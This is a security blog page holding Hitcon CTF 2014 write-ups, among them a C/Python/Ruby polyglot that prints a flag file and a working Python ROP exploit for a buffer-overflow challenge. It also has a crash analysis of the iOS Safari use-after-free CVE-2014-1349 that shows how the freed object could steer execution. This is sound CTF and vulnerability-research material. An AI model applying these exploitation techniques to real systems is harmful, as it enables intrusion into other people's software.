Wednesday, August 20, 2014

Hitcon CTF 2014 - Polyglot - Crazy 500

This is not a full solution to the challenge. The challenge was to write a code that could be executed as C, Python 2, Python 3, Ruby and Haskell to print the content of flag file . But I couldn't finish off the Haskell part. Below is the code:
renorobert@ubuntu:/host/HITCON$ cat flag 
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ cat upload.c
#/*
cat = flag = 0
exec("cat<flag;exit;\n__import__('os').system('cat flag');")
"""
*/
void main()
{
char command[] = {'c','a','t',' ','f','l','a','g','\x00'};
system(command);
}/*
"""
#*/
renorobert@ubuntu:/host/HITCON$ python2 upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ python3 upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ ruby upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ gcc upload.c && ./a.out 
TEST____FLAG
Ruby's exec() treats cat<flag as shell command for printing the flag. Python's exec() treats cat<flag as code, thus being treated as conditional statement by initializing cat and flag variables. Then os.system() prints the flag.

Tuesday, August 19, 2014

Hitcon CTF 2014 - RSBO - Pwnable 150 - [Team SegFault]

Challenge binary is an 32-bit ELF, with ASLR and NX enabled. The buffer overflow is straight forward and happens in read() call, thus overwriting saved return address in main function's stack. After this, bytes are swapped by looping over this buffer.
char buffer[0x80];  [EBP-0x60]
size = read_80_bytes(buffer); 
for ( i = 0; i < (signed int)size; ++i ) 
{
    rnd = rand();
    v4 = rnd % (i + 1);   
    v3 = buffer[i];    
    buffer[i] = buffer[v4];  
    buffer[v4] = v3;
}
Random swap could overwrite v4 variable with higer values, there by [buffer+v4] will point to unmapped memory area causing segmentation fault. To avoid this, buffer could be filled with NUL byte till it overwrites the saved EIP. Also we could overwrite the size variable with 0 to terminate the loop using the zero filled buffer, such that payload is not corrupted.

Once all this is done, the final payload to read flag is an ROP chain of open(), read() and write() calls after pivoting the stack into bss section of memory. Below is the final payload:
#!/usr/bin/env python

import struct
from socket import *

ip = '127.0.0.1'
ip = '210.61.8.96'
port = 51342

soc = socket(AF_INET, SOCK_STREAM)
soc.connect((ip,port))

payload  = struct.pack("<I", 0x00) * 26
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804865a) # leave ; ret
payload += struct.pack("<I", 0x00)       # stdin
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 1024)       # size

# STAGE 2
payload += struct.pack("<I", 0x41414141) # pop ebp of leave instruction
payload += struct.pack("<I", 0x08048420) # open@plt
payload += struct.pack("<I", 0x0804879e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x080487d0) # Pointer to File
payload += struct.pack("<I", 0x00)       # READ mode

payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804879d) # pop esi ; pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x3)        # Descriptor
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

payload += struct.pack("<I", 0x08048450) # write@plt
payload += struct.pack("<I", 0x42424242) # ret
payload += struct.pack("<I", 0x1)        # stdout
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

soc.send(payload + '\n')
print soc.recv(128)
Flag for the challenge is HITCON{Y0ur rand0m pay1oad s33ms w0rk, 1uckv 9uy}

Friday, August 1, 2014

Apple iOS Safari Use-After-Free Vulnerability - CVE-2014-1349

This is a vulnerability that I found along with my friend Dhanesh while fuzzing iOS Safari in iPad Mini. The POC could trigger a UAF if invalid URLs were used in SRC attribute. Below is the crash
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xe000000c
0x39f7cb26 in objc_msgSend ()
(gdb) info registers
r0             0x166afbe0       376110048
r1             0x32549ee6       844406502
r2             0x30108831       806389809
r3             0x3      3
r4             0x1658cdf0       374918640
r5             0x17826070       394420336
r6             0x0      0
r7             0x27d5ac2c       668314668
r8             0x166afbe0       376110048
r9             0xe0000000       -536870912
r10            0x17826070       394420336
r11            0x32549ee6       844406502
r12            0x3aaab220       984265248
sp             0x27d5ab98       668314520
lr             0x321756e3       840390371
pc             0x39f7cb26       972540710

(gdb) x/4x $r0
0x166afbe0: 0xe0000000 0xe0000000 0x00000002 0x00000032
(gdb) x/s $r1
0x32549ee6:  "lastObject"
(gdb) bt
#0  0x39f7cb26 in objc_msgSend ()
#1  0x321756e2 in <redacted> ()
(gdb) x/i $pc
0x39f7cb26:  b9 f8 0c c0                   ldrh.w       r12, [r9, #12]
The crash occured in objc_msgSend(). The first argument $r0 points to the receiver object and the selector being "lastObject" pointed by $r1. The receiver object pointed by $r0 is freed memory where 0xe0000000 at $r0 and $r0+4 are heap meta-data pointing to next and prevoius free chunks. In this case its NULL. The 3rd DWORD is the quanta size.
0x39f7cb20 <objc_msgSend+0>:  e8 b1        cbz r0, 0x39f7cb5e  -> check for NULL
0x39f7cb22 <objc_msgSend+2>:  d0 f8 00 90  ldr.w r9, [r0]      -> r9 is loaded from r0 which is freed memory ; class = self->isa
0x39f7cb26 <objc_msgSend+6>:  b9 f8 0c c0  ldrh.w r12, [r9, #12] -> r9 + 12 points to cache mask
0x39f7cb2a <objc_msgSend+10>: d9 f8 08 90  ldr.w r9, [r9, #8]  -> r9 + 8 points to cache; cache = class->cache
0x39f7cb2e <objc_msgSend+14>: 0c ea 01 0c  and.w r12, r12, r1  -> index
0x39f7cb32 <objc_msgSend+18>: 09 eb cc 09  add.w r9, r9, r12, lsl #3 -> r9 = cache + index << 3 ; compute cache entry
0x39f7cb36 <objc_msgSend+22>: d9 f8 00 c0  ldr.w r12, [r9]     -> fetch selector
0x39f7cb3a <objc_msgSend+26>: 9c ea 01 0f  teq r12, r1         -> check the selector
0x39f7cb3e <objc_msgSend+30>: 02 d1        bne.n 0x39f7cb46    -> if no cache hit
0x39f7cb40 <objc_msgSend+32>: d9 f8 04 c0  ldr.w r12, [r9, #4] -> fetch address of method
0x39f7cb44 <objc_msgSend+36>: 60 47        bx r12              -> jump to address
With control over freed memory pointed by $r0 and subsequent control over other pointers, one could use bx r12 to control program execution. This issue was assigned CVE-2014-1349 and fixed in iOS 7.1.2.